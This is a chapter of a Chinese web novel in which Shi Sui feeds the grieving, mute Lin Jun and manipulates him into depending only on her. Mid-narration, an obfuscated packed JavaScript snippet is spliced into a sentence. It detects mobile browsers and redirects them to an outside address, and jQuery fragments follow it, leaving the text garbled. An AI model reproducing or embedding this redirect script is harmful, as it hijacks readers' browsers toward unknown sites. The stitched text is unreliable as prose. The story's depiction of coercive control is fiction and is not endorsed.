时穗盯着紧抱自己双腿的人。


    他的下巴长出青色的胡茬，昔日清透的双眼很空，黑发乱糟糟堆在头上，更别提苍白干燥的唇上裂出干涸的皮。时穗环顾四周，大致也能猜出林筠这几天是什么情况了。


    时穗蹙眉，只是抬起腿还没完全抽出来，很快就被人放开了。


    没有挽留，她收回目光，转身离开的声音在静悄悄的空间里很明显。


    走到门口，她忽而停住，回头看了他一眼，他还坐在原来地板上，双臂无力耷拉在两边，曲起的指节抵着灰白方块的瓷砖。


    窗外流淌的暮色渐暗，他身后的玻璃窗上还贴有姐弟二人小时候堆土坡的照片。时穗的视线凝聚于玻璃窗里反射的背影，单薄的脊背挫败地弯着，长长的脊骨廓线贴着白衣若隐若现，一副了无生气的模样。


    他怔怔看着自己，眉尾微微向下，像还没从梦里醒来。那双眼能直接哭诉内心的伤悲，难以忽略，时穗想视而不见都有点难。


    “把自己弄干净，我就留下来。你这样，很倒胃口。”


    听到声音，他才动作迟缓从地上起来。不是刻意的慢，是几天都没有进食的无力。看着人走进浴室，时穗站在楼道里拿出手机，“送一顿晚饭过来，什么都行，送到我发给你的地址上。”


    这样的状态，可能没洗完就晕在里边，时穗让他时不时敲门，好让人知道他还有意识。


    等待的时候，她看到了床上的骨灰盒。


    时穗对林晴印象不深，算算见面次数，总共不足十次。她不喜欢在和林筠的时间里，有旁人的存在打扰，所以总是在林晴外出工作的时间前往出租屋。


    为数不多的记忆里，林晴总是带着笑，微蜷的枯黄头发总是高高束起，一见到她就上来牵住她的手，笑容间隐约闪现洁白大颗的牙齿，浑身溢着被阳光晒干的气味。还喜欢不停往她碗里夹菜，说她太瘦了需要多吃一点，和林筠一起参加比瘦大赛，率先胜出的就是他俩。时穗时常对她的靠近而感到不适，就连她夹在自己碗里的肉也忍着恶心吃下。


    林筠洗完澡出来，桌上已经摆好饭菜，冒着热气，像是刚从厨房里做好就端出来。时穗手肘支在桌上，掌心托着下巴看着他进食。


    几天没有摄入，饥饿催促着林筠的动作，色香俱全的食物在口腔里，泪珠先一步滚动，流进粒粒分明的白米饭里。眼下脸出现一道亮晶晶的泪痕。他腮帮子鼓起，眼也红肿，努力下咽的同时一直往碗里夹菜。


    时穗看着他，“让你吃这顿饭不是为了补充体力继续流眼泪。”


    也依稀看出他比的手语。


    【我没有家人了。】


    他泣不成声。


    家人？不就是很擅长给儿女设置颇多条条框框的存在，捆绑人心的绳索，解又解不开，甩也甩不掉的约束。天知道她有几次深夜，想起白天里被规训说教，都想趁他们熟睡的时候拿把菜刀乱砍。又有什么值得为此流泪？时庭死了，时穗心情也不见有丁点起伏。


    时穗静静地看着他决堤似的泪流。但林筠却没有要停下的意思。他低垂着头，微微起伏的胸膛足见呼吸的急促。


    “我也没有家人了。”


    他视线雾蒙蒙地看向时穗。


    “我父亲上周去世了。你没看到新闻？”说这句话的时候，她都差点忍不住笑。“突发事故，撞到桥上的护栏掉进江了。”


    林筠脸上出现犹豫茫然的神情。时穗皱眉打断，“我很好。不需要安慰。”


    想想他刚才的样子，比那条记忆中的流浪狗还要狼狈不堪，只是因为这点小事，林筠就承受不了了，觅死觅活。她要是晚来几天，林筠估计真就饿死在这里了，之前居然还敢妄想离开她，去别的城市生活。时穗没有忘记来这里的目的。


    “林筠，你想想看如果今天没有我，你该怎么办啊？我主动来找你，还给你饭吃，几乎是救了你一命。你呢，一边找好淮海的租房一边偷偷加上林露露的联系方式。你说你是不是很过分？”清瘦英俊的哑巴在她的注视下流露出软弱的茫然，时穗没有半点对他亲人逝世的同情，如果有，早就在他流眼泪的第一秒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107866|163971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为他递上纸巾了。脑子里是他在床上仰着上身躯干，同样是一双这么惹人怜惜的眼，颤抖着呜咽，时穗站到他的面前，捧起他的脸：“所以你要好好报答我。”


    “具体报答我什么我还没想好，但你也就只有一条命不是吗？就算是去死，也得经过我的同意。别用这种愚蠢的方法。”


    她声音变得异常温柔，“跟我走吧，我们做对方唯一的家人，换个地方重新生活。好吗？”


    他含着泪珠的眼出现一瞬的摇颤。尽管已经上当无数次，迷途的林筠还是将这句当作救命稻草，就像蒙着眼睛的人在细长平板行走许久，不管是什么，触及的瞬间都想要先紧紧抓住。在此之前从未考虑过后果这条路可能会通向海盗船。


    行动代替了言语，少年慢慢搂紧她的腰身，将脑袋靠在她肩膀上，脸贴着她的锁骨，乌密碎发将眼睛遮住，满怀柔软与香气。而时穗深感，他的确是瘦了很多，有点硌骨头，不太舒服。但她现在心情太好了，丝毫不介意。


    模仿时母抱着时安的姿势，时穗一只手横在他的背后，侧着脸一只手抱着他头，下颔抵着温热的额头，嘴角渐渐浮现上一丝微笑。


    心里想的却是：林晴死掉才好呢，林筠现在依靠的人只有她了，他再也不会乱跑。


    次日，林筠带着林晴的衣服，在家附近找到废弃公园。他将衣服捆在一起，点了一把火，全部烧掉了。林晴的衣服不多，一个在超市买的大号收纳袋就能装全她这些年的衣服。炙热的红光在他脸上摇曳，林筠手心里握着编织小马。只要这个就足够。


    处理完烧掉衣服的地方，他转过身，时穗站在不远处的车前等着自己。他没有行李，孤身一人，因为时穗说不需要，到了那边，一切都会替他安排好。她还让他放轻松，林晴的骨灰盒会好好安置在墓地园里，她会帮他挑选好位置。


    他还能相信时穗吗？他和时穗真的能成为家人？这样的生活又能维持多久？林筠潜意识里避开了这些问题，害怕被抛弃的心情压过所有理智。


    几秒后，他向她走去。